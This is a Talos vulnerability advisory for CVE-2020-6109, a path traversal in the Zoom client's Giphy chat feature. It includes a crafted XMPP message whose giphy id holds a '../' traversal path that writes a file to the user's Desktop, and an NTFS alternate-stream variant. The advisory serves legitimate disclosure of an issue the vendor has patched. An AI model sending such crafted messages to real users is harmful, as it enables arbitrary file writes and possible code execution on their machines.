Talos Vulnerability Report

TALOS-2020-1055

Zoom client application chat Giphy arbitrary file write

JUNE 3, 2020

CVE NUMBER

CVE-2020-6109

Summary

An exploitable path traversal vulnerability exists in the Zoom client, version 4.6.10 processes messages including animated GIFs. A specially crafted chat message can cause an arbitrary file write, which could potentially be abused to achieve arbitrary code execution. An attacker needs to send a specially crafted message to a target user or a group to exploit this vulnerability.

Tested Versions

Zoom Client Application 4.6.10

Product URLs

https://zoom.us

CVSSv3 Score

8.5 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

Details

Zoom is a video conferencing solution that offers many features, including chat with users’ contacts. Official client applications exist for Windows, macOS and Linux systems.

Zoom’s chat functionality is built on top of XMPP standard with additional extensions to support rich user experience. One of those extensions supports a feature of including animated GIF messages in chat. This feature is provided and relies on the Giphy service. When a client application receives an XMPP message with this `giphy` extension, it is instructed to visit a specified HTTP URL and fetch the GIF file to display it to the user. An example of such XMPP message is as follows:

```
<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>
    <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs:
https://www.zoom.us/download</body>
    <thread>RANDOM</thread>
    <active xmlns='http://jabber.org/protocol/chatstates'/>
    <sns>
        <format>%1$@ sent you a picture</format>
        <args>
            <arg>User Name</arg>
        </args>
    </sns>
        <giphy id='filename' url='image_url' tags='congrats'>
            <pcInfo url='image_url_for_pc_display' size='10'/>
            <mobileInfo url='image_url_for_mobile_display' size='10'/>
            <bigPicInfo url='image_url_for_full_size_display' size='10'/>
        </giphy>
        <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>
            <from n='User Name' e='email' res='ZoomChat_pc'/>
            <to/>
            <visible>true</visible>
            <msg_feature>0</msg_feature>
        </zmext>
</message>
```

Two things are of interest in the above XML stanza. First, the `giphy` tag contains three target URLs that are supposed to point to Giphy’s servers. Short testing shows that no destination URL validation is performed, and the client will follow whichever URL is specified, including to arbitrary servers. When a custom URL is specified , an HTTP connection from the client can be observed:

```
GET /test.gif HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (ZOOM.Mac 10.14.6 x86)
Accept: */*
Cookie: srid=SaaSbeeTestMode00123578;
ZM-CAP: 2535978022733895607,164
ZM-PROP: Mac.Zoom
ZM-NSGN:2,zVM1hmoFnK2kx8t/KEifN7IAXRSE/CnqolsM0zV6ess=,1586812854000
```

It should be pointed out that, although no authentication cookies are present in the above request, enough information is leaked to uniquely identify the client. Header `ZM-NSGN` contains a hashed and encoded unique client device ID.

With additional testing, another observation can be made. Even though `giphy` extension is supposed to display GIF images only, it will readily display and preview other image types , too. This includes PNG and JPEG file formats.

Second thing of interest in this message XML stanza is the fact that `id` attribute of the `giphy` tag is directly associated with image filename as cached on disk by the client. In other words, the client application will use this specified ID to save the file to disk for future displaying purposes. Arbitrary filenames can be supplied and the file will be stored in a predictable location inside `data` directory under Zoom's installation directory.

The actual vulnerability lies in the fact that filenames are not sanitized in any way and allow for directory traversal. This means that a specially crafted `id` attribute of the `giphy` tag could contain a special file path that would write a file outside Zoom's install directory and indeed in any directory writable by the current user. The following modified `message` stanza illustrates this possibility:

```
<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>
    <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs:
https://www.zoom.us/download</body>
    <thread>RANDOM</thread>
    <active xmlns='http://jabber.org/protocol/chatstates'/>
    <sns>
        <format>%1$@ sent you a picture</format>
        <args>
            <arg>User Name</arg>
        </args>
    </sns>
    <giphy id='../../../../../../Desktop/mallicious_file.exe' url='image_url' tags='congrats'>
            <pcInfo url='image_url_for_pc_display' size='10'/>
            <mobileInfo url='image_url_for_mobile_display' size='10'/>
            <bigPicInfo url='image_url_for_full_size_display' size='10'/>
        </giphy>
        <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>
            <from n='User Name' e='email' res='ZoomChat_pc'/>
            <to/>
            <visible>true</visible>
            <msg_feature>0</msg_feature>
        </zmext>
</message>
```

The severity of this vulnerability is partially mitigated by the fact that Zoom client will append a string `_BigPic.gif` to the specified filename. This prevents the attacker from creating a fully controlled file with arbitrary extension. The above would still place a file of arbitrary content to current users desktop with filename if the attacker's choosing, albeit with `.gif` extension. Contents of the file aren't limited to images only and could potentially include executable code or script which could be abused to aid exploitation of another vulnerability.

Additionally, on Windows systems with NTFS file systems, NTFS alternative streams could be abused to create an empty file arbitrary extension. Specifying an `id` of `'../../../../../../Desktop/malicious_file.exe:` would result in Zoom expanding this filename into `'../../../../../../Desktop/malicious_file.exe:_BigPic.gif.zmdownload` which when created actually results in a filename `malicious_file.exe` with alternate stream `malicious_file.exe:BigPic.gif.zmdownload:$DATA`. The effect of this is an apparently empty file with `.exe` extensions. This could potentially be abused to change configuration of other apps , affect lock files, or otherwise aid in exploitation of another vulnerability.

Timeline

2020-04-16 - Vendor Disclosure
2020-04-21 - Vendor acknowledged ticket open for the issue
2020-05-26 - 2nd follow up
2020-05-27 - Vendor confirmed issue patched on 2020-04-21
2020-06-03- Public Release

CREDIT

Discovered by a member of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2019-0957

NEXT REPORT

TALOS-2020-1056